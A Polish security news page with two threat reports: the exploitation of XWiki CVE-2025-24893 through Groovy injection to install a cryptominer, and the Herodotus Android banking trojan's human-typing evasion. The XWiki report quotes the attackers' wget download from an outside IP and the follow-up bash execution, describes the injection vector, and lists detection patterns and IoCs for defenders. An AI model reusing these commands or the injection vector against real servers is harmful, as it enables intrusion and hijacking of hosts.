Tag: Malware

Wprowadzenie do problemu / definicja luki

Badacze zaobserwowali aktywne wykorzystanie krytycznej luki CVE-2025-24893 w platformie XWiki (CVSS 9.8). Błąd pozwala niezalogowanemu napastnikowi na zdalne wykonanie kodu (RCE) poprzez podatny makro-komponent SolrSearch, co otwiera drogę m.in. do instalacji koparki kryptowalut na serwerze. O najnowszych, realnych atakach informuje VulnCheck; zjawisko opisał też SecurityWeek.

W skrócie

• Co: RCE bez uwierzytelnienia w XWiki przez SolrSearch (Groovy template/code injection).
• Wersje podatne: 5.3-milestone-2 → 15.10.10 oraz 16.0.0-rc-1 → 16.4.0 (naprawione w 15.10.11, 16.4.1 i 16.5.0-rc1).
• Wektor: manipulacja parametrem text w żądaniu do Main/SolrSearch?media=rss&text=... skutkująca wykonaniem kodu Groovy.
• W terenie: kampania o niskim „poziomie zaawansowania” z instalacją minera (tcrond) i łączeniem do puli c3pool.org.

Kontekst / historia / powiązania

Luka została zgłoszona w maju 2024 r. do programu Trend Micro ZDI, a publicznie udokumentowana 19 grudnia 2024 r. Wpis NVD i porady producenta (GHSA) pojawiły się na początku 2025 r. Mimo że exploity PoC krążyły od miesięcy, dopiero pod koniec października 2025 r. VulnCheck potwierdził pełny łańcuch eksploatacji zakończony wdrożeniem koparki.

Analiza techniczna / szczegóły luki

Sednem problemu jest niewłaściwa walidacja parametru text w makrze SolrSearch. Napastnik wstrzykuje blok {{groovy}}...{{/groovy}} (renderowany w kontekście wiki) i uzyskuje zdalne wykonanie poleceń w kontekście procesu serwera WWW. To klasyczny przypadek CWE-94/95 (code / eval injection). XWiki i NVD udostępniły minimalny „proof” do weryfikacji podatności przez wywołanie RSS z osadzonym Groovy.

Obserwowany łańcuch ataku (VulnCheck):

1. Pass 1: żądanie do SolrSearch zapisuje downloader do /tmp/11909 (np. wget http://193.32.208.24:8080/.../x640 -O /tmp/11909).
2. Pass 2 (~20 min później): drugie żądanie wykonuje bash /tmp/11909, który pobiera dwa skrypty (x521, x522).
3. x521 instaluje binarkę minera tcrond; x522 uruchamia minera z konfiguracją puli c3pool.org, dodatkowo zabijając konkurencyjne procesy (np. xmrig, kinsing).
4. Źródła ruchu: m.in. 123.25.249.88 i 193.32.208.24. Udostępnianie plików przez serwis pokrewny transfer.sh na porcie 8080.

Praktyczne konsekwencje / ryzyko

• Przejęcie hosta: pełne RCE bez uwierzytelnienia skutkuje możliwością instalacji malware, eksfiltracji danych i utrwalania dostępu.
• Kopanie kryptowalut: obciążenie CPU, degradacja wydajności serwisu, potencjalne koszty energii/chmury; kampanie potrafią też usuwać konkurencyjne koparki i czyścić ślady.
• Ryzyko wtórne: pivot do innych systemów, wstrzyknięcia web-shelli, zmiany konfiguracji Solr/Tomcat/OS.

Rekomendacje operacyjne / co zrobić teraz

1. Pilna aktualizacja XWiki do wersji: 15.10.11, 16.4.1 lub 16.5.0-rc1 (łatka producenta).
2. Wdrożenie obejścia (jeśli update niemożliwy): modyfikacja Main.SolrSearchMacros (ustawienie application/xml i bezpośrednia odpowiedź z rawResponse), dokładnie jak w poradzie GHSA/NVD.
3. Hunting / IR (według IoC VulnCheck):
   • Szukaj żądań do .../bin/get/Main/SolrSearch?media=rss&text= z blokami {{groovy}}.
   • Artefakty: /tmp/11909, skrypty x521, x522, binarka tcrond, połączenia do auto.c3pool.org:80.
   • IP: 123.25.249.88, 193.32.208.24.
   • Komendy wget/curl z nietypowych hostów :8080.
4. WAF / reguły detekcji: blokowanie/alertowanie na wzorce {{groovy}}, {{async}} w parametrach zapytań do SolrSearch; dostosuj sygnatury IDS/IPS (np. TippingPoint, Suricata) i reguły w narzędziach typu CrowdSec.
5. Hardening XWiki/Solr/Tomcat: uruchamiaj usługę z minimalnymi uprawnieniami, izoluj w kontenerze, ogranicz dostęp sieciowy do panelu admina, włącz logowanie zapytań i HSTS.
6. Po incydencie: rotacja kluczy/haseł, weryfikacja crontab/systemd (np. wpisy związane z tcrond), skanowanie integralności, reinstalacja hosta przy potwierdzonym RCE.

Różnice / porównania z innymi przypadkami

W przeciwieństwie do niedawnych kampanii RCE w popularnych CMS/ERP, tutaj eksploatacja opiera się na template/code injection w Groovy w ramach makr XWiki (a nie klasyczny deserializacja czy OGNL), co upraszcza łańcuch ataku: pojedynczy parametr HTTP → bezpośrednie execute(). ZDI i GHSA kategoryzują to wprost jako command/code injection w komponencie SolrSearchMacros.

Podsumowanie / kluczowe wnioski

• CVE-2025-24893 to łatwo eksploatowalny RCE w XWiki, obecnie wykorzystywany w praktycznych atakach do kopania kryptowalut.
• Patch jest dostępny i powinien być wdrożony natychmiast; obejście istnieje, ale traktuj je jako czasowe.
• Warto przeprowadzić proaktywne threat hunting z użyciem udostępnionych IoC i dopasować reguły ochrony pod charakterystyczne wzorce {{groovy}} w zapytaniach.

Źródła / bibliografia

• SecurityWeek — pierwsze doniesienia o aktywnej eksploatacji i kopaniu kryptowalut. (SecurityWeek)
• VulnCheck — szczegółowa analiza łańcucha ataku, IoC (adresy IP, pliki, pula c3pool). (VulnCheck)
• ZDI Advisory (Trend Micro) — opis podatności, wektor i naprawione wersje. (zerodayinitiative.com)
• NVD — opis techniczny, wektor CVSS, repro krok-po-kroku i wskazówki dot. obejścia. (NVD)
• GitHub Security Advisory (XWiki) — oficjalna porada producenta i zakres wersji dotkniętych. (GitHub)

Wprowadzenie do problemu / definicja luki

Badacze ThreatFabric ujawnili nową rodzinę mobilnego malware’u na Androida o nazwie Herodotus. To trojan bankowy typu Device Takeover (DTO), który podczas zdalnego sterowania telefonem symuluje ludzkie pisanie – wprowadza znaki pojedynczo z losowymi przerwami 0,3–3 s – aby zmylić mechanizmy antyfraudowe oparte na tempie interakcji i rytmie klawiatury. Kampanie potwierdzono m.in. we Włoszech i Brazylii, a zestawy fałszywych nakładek („overlays”) przygotowano także dla banków i serwisów krypto w USA, Wielkiej Brytanii, Turcji i Polsce.

W skrócie

• Nowość: wprowadzanie tekstu z losowymi opóźnieniami imituje człowieka i utrudnia wykrycie automatyzacji.
• Zdolności: przejęcie urządzenia (DTO) przez nadużycie Accessibility Service, nakładki na aplikacje bankowe, podgląd ekranu, kradzież kodów SMS/2FA.
• Dystrybucja: smishing → dropper (sideloading), podszywanie się m.in. pod „Banca Sicura” i „Modulo Seguranca Stone”.
• Model: zapowiedziany jako Malware-as-a-Service (MaaS), autor „K1R0”.

Kontekst / historia / powiązania

ThreatFabric wskazuje, że Herodotus nie jest prostą ewolucją, ale ma fragmenty kodu i technik znanych z trojana Brokewell (np. ciągi znaków „BRKWL_JAVA”, podobna obfuskacja). To sugeruje „zszycie” komponentów z nowymi elementami, w tym modułem do bardziej „ludzkich” interakcji.

Analiza techniczna / szczegóły luki

• Wejście tekstu: zamiast wklejać cały ciąg (co bywa wykrywane jako nieludzkie), malware dzieli tekst na znaki i wstawia je z losowym opóźnieniem 300–3000 ms. Celem jest ominięcie detekcji behawioralnej opartej na czasie wprowadzania danych.
• Zdalne sterowanie: polecenia obejmują m.in. kliknięcia po elementach/koordynatach, gesty, akcje globalne (Back/Home/Recents), wpisywanie tekstu, a także VNC/screen-sharing.
• Ukrywanie aktywności: „blocking overlay” – pełnoekranowa nakładka imitująca ekran ładowania, która maskuje działania oszusta podczas przelewów.
• Kradzież danych: fałszywe strony logowania nad aplikacjami banków/krypto, przechwytywanie SMS (2FA), logowanie zawartości ekranu.
• Dystrybucja i łańcuch infekcji: smishing prowadzący do droppera napisanego przez tego samego autora; dropper pomaga obejść ograniczenia Android 13+ dla Accessibility, uruchamia payload i prosi ofiarę o nadanie uprawnień.
• Infrastruktura: komunikacja MQTT; domena google-firebase[.]digital z wieloma subdomenami przypisywanymi do różnych operatorów kampanii.

Praktyczne konsekwencje / ryzyko

• Bankowość mobilna i fintech: Kontrole antyfraudowe polegające wyłącznie na tempie/rytmie interakcji mogą zostać zdegradowane – przerwy „jak u człowieka” obniżają ryzyko z punktu widzenia prostych silników behawioralnych. Potrzebne jest korelacyjne podejście (ryzyko urządzenia + sygnały sesyjne + behawioryka na poziomie indywidualnego wzorca).
• Użytkownicy w Polsce: choć potwierdzone kampanie to Włochy i Brazylia, istnieją gotowe nakładki na aplikacje bankowe w Polsce, co wskazuje na realne ryzyko lokalnych kampanii.

Rekomendacje operacyjne / co zrobić teraz

Dla zespołów bezpieczeństwa w bankach/fintechach:

1. Wzmacniajcie sygnalizację ryzyka urządzenia: wykrywanie aktywnych usług Accessibility, nakładek, wskaźników DTO (VNC/screen-sharing), nienaturalnych strumieni zdarzeń. Korelować z kontekstem sieciowym i reputacją aplikacji.
2. Behawioralne modele per-użytkownik: zamiast prostych progów tempa wpisywania, modelować indywidualne wzorce; łączyć z detekcją anomalii na poziomie sekwencji UI (np. trajektorie kliknięć, wzorce nawigacji).
3. Weryfikacja transakcji wysokiego ryzyka: step-up auth niezależny od SMS (np. FIDO2/push w zaufanej aplikacji), geokorelacja, challenge-response w obrębie aplikacji.
4. Honeypoty anty-overlay: dynamiczne elementy UI i ukryte pola wykrywające „set text”/clipboard zamiast realnych zdarzeń klawiszy.
5. Telemetria mobilna: alerty na „blocking overlay”, częste żądania uprawnień Accessibility, nietypowe użycie ACTION_SET_TEXT.

Dla użytkowników i działów IT:

• Nie instaluj z SMS-ów/WWW – tylko Google Play i sprawdzony vendor MDM; wyłącz „instalację z nieznanych źródeł”.
• Uważaj na prośby o Accessibility – legalne aplikacje rzadko tego potrzebują do bankowości.
• 2FA bez SMS (aplikacyjna/push), aktualizacje Androida i Play Protect; w razie podejrzenia DTO – natychmiast rozłącz internet, zadzwoń do banku innym kanałem, zresetuj urządzenie i hasła.
• Edukacja smishingowa (również dla helpdesku i contact center).
  Te zalecenia wynikają ze sposobu działania Herodotus (smishing→dropper→Accessibility→DTO).

Różnice / porównania z innymi przypadkami

• Brokewell vs. Herodotus: Brokewell był wcześniejszą rodziną DTO; Herodotus wykorzystuje jego moduły i techniki, ale dodaje „humanizację” wejścia jako kluczową innowację anty-detekcyjną.
• Na tle typowych trojanów bankowych: wklejanie danych/clipboard jest szybkie, ale „nieludzkie” – Herodotus celowo zwalnia i randomizuje. Media branżowe potwierdzają, że te przerwy potrafią wynosić do 3 sekund.

Podsumowanie / kluczowe wnioski

Herodotus to sygnał, że fraud na Androidzie wchodzi w erę „anty-behawioralną”: przestępcy modelują ludzkie zachowanie, żeby oszukać silniki antyfraudowe. Skuteczna obrona wymaga pełnej warstwowości: telemetryki urządzenia, detekcji DTO, modeli per-użytkownik, silnych metod weryfikacji transakcji i restrykcji instalacji aplikacji. Organizacje w Polsce powinny traktować temat priorytetowo, bo nakładki na krajowe aplikacje są już w arsenale operatorów.

Źródła / bibliografia

• ThreatFabric: „New Android Malware Herodotus Mimics Human Behaviour to Evade Detection” (28.10.2025) – raport techniczny (kampanie, techniki, zakres opóźnień, DTO, overlay, MQTT). (threatfabric.com)
• The Record (Recorded Future News): „New Android malware mimics human typing to evade detection, steal money” (28.10.2025) – streszczenie i regionalizacja (Włochy, Brazylia; nakładki m.in. Polska). (The Record from Recorded Future)
• The Hacker News: „New Android Trojan ‘Herodotus’ Outsmarts Anti-Fraud Systems by Typing Like a Human” (28.10.2025) – potwierdzenie MaaS, Brokewell, zakres opóźnień. (The Hacker News)
• BankInfoSecurity: „‘Herodotus’ Android Trojan Mimics Human Sluggishness” (28.10.2025) – opis anty-detekcji (opóźnienia do 3 s) i łańcucha infekcji. (BankInfoSecurity)
• The Register: „Android malware types like your gran to steal banking creds” (28.10.2025) – omówienie kampanii i infrastruktury (domena google-firebase[.]digital). (The Register)